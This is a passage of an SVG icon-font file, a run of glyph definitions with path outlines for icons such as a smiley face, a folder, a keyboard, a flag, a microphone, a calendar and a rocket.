<glyph unicode="&#xf10b;" horiz-adv-x="768" d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136 q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf10c;" d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103 t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf10d;" horiz-adv-x="1664" d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
<glyph unicode="&#xf10e;" horiz-adv-x="1664" d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216 v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
<glyph unicode="&#xf110;" horiz-adv-x="1792" d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5 t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5 q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
<glyph unicode="&#xf111;" d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf112;" horiz-adv-x="1792" d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19 l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
<glyph unicode="&#xf113;" horiz-adv-x="1664" d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320 q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86 t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218 q0 -87 -27 -168q136 -160 136 -398z" />
<glyph unicode="&#xf114;" horiz-adv-x="1664" d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320 q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
<glyph unicode="&#xf115;" horiz-adv-x="1920" d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68 v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z " />
<glyph unicode="&#xf116;" horiz-adv-x="1792" />
<glyph unicode="&#xf117;" horiz-adv-x="1792" />
<glyph unicode="&#xf118;" d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5 t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5 t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf119;" d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204 t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf11a;" d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf11b;" horiz-adv-x="1920" d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150 t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
<glyph unicode="&#xf11c;" horiz-adv-x="1920" d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16 h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16 h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96 q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896 h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
<glyph unicode="&#xf11d;" horiz-adv-x="1792" d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9 h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102 q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
<glyph unicode="&#xf11e;" horiz-adv-x="1792" d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2 q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266 q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8 q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
<glyph unicode="&#xf120;" horiz-adv-x="1664" d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9 t9 -23z" />
<glyph unicode="&#xf121;" horiz-adv-x="1920" d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5 l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
<glyph unicode="&#xf122;" horiz-adv-x="1792" d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1 q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
<glyph unicode="&#xf123;" horiz-adv-x="1664" d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5 l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
<glyph unicode="&#xf124;" horiz-adv-x="1408" d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
<glyph unicode="&#xf125;" horiz-adv-x="1664" d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23 v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf126;" horiz-adv-x="1024" d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5 q-2 -287 -226 -414q-68 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497 q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
<glyph unicode="&#xf127;" horiz-adv-x="1664" d="M439 265l-256 -256q-10 -9 -23 -9q-12 0 -23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320 q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18 l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9 t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
<glyph unicode="&#xf128;" horiz-adv-x="1024" d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5 t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
<glyph unicode="&#xf129;" horiz-adv-x="640" d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192 q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf12a;" horiz-adv-x="640" d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
<glyph unicode="&#xf12b;" d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3l-9 -21q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109zM1534 846v-206h-514l-3 27 q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5t-65.5 -51.5t-30.5 -63h232v80 h126z" />
<glyph unicode="&#xf12c;" d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3l-9 -21q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109zM1536 -50v-206h-514l-4 27 q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73h232v80h126z" />
<glyph unicode="&#xf12d;" horiz-adv-x="1920" d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
<glyph unicode="&#xf12e;" horiz-adv-x="1664" d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5 t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89 q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117 q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
<glyph unicode="&#xf130;" horiz-adv-x="1152" d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5 t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
<glyph unicode="&#xf131;" horiz-adv-x="1408" d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128 q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23 t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
<glyph unicode="&#xf132;" horiz-adv-x="1280" d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150 t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf133;" horiz-adv-x="1664" d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280 q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf134;" horiz-adv-x="1408" d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800 q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113 q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
<glyph unicode="&#xf135;" horiz-adv-x="1664" d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1 q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
